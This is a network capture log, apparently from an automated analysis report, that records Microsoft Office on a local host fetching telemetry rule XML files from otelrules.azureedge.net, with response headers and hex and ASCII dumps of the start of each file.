2024-11-05 09:13:37 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:37 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: b2969781-701e-0001-0a5f-2eb110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091337Z-158dbd74bf45w8zqhC1SN1xfeg00000003s0000000005aqf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:37 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.5	49850	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:37 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:37 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:37 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 117ebb00-e01e-0020-3440-2ede90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091337Z-157b9fd754fpq442hC1SN1cmvn00000004bg00000000127u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:37 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.5	49851	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:38 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:38 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:38 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 659fa809-c01e-007a-195c-2eb877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091338Z-157b9fd754f4h2fnhC1SN11f0c0000000420000000004utb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:38 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.5	49852	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:38 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:38 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:38 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: fcf0554e-001e-0046-7a53-2eda4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091338Z-158dbd74bf4wlzpzhC1SN10qvc00000003t0000000000zxk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:38 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.5	49853	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:38 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:38 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:38 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: 3ec3caa0-a01e-006f-718e-2d13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091338Z-157b9fd754fqtvfchC1SN1b6mc000000041g000000004qzu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:38 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.5	49854	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:38 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:38 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:38 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: 62e0c468-a01e-0084-1b55-2e9ccd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091338Z-157b9fd754ft5czbhC1SN1716c0000000470000000001tyq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:38 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.5	49855	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:38 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:38 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:38 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: a6457f9b-d01e-0014-585c-2eed58000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091338Z-157b9fd754frrmcvhC1SN1nbpn0000000470000000005cax x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:38 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.5	49856	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:39 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:39 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:39 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 7766441c-101e-008d-2e5c-2e92e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091339Z-157b9fd754fpgz5vhC1SN1qzrn000000047g000000003fr6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:39 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.5	49857	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:39 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:39 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:39 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 161ed898-101e-0017-1055-2e47c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091339Z-158dbd74bf4jwfhhhC1SN1bnb000000003z0000000000nqn x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:39 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.5	49858	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:39 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:39 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:39 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 9acac97d-a01e-0084-3378-2e9ccd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091339Z-157b9fd754ffv8t9hC1SN1n4w00000000420000000006zub x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:39 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.5	49859	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:39 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:39 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:39 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: dada5429-501e-007b-0d3f-2e5ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091339Z-157b9fd754frph49hC1SN1dtxw000000049g0000000054xu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:39 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.5	49860	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:39 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:39 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:39 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: a7d47cd0-801e-0067-0c8e-2dfe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091339Z-157b9fd754f4s26nhC1SN1er5n00000004e0000000000nyu x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:39 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: 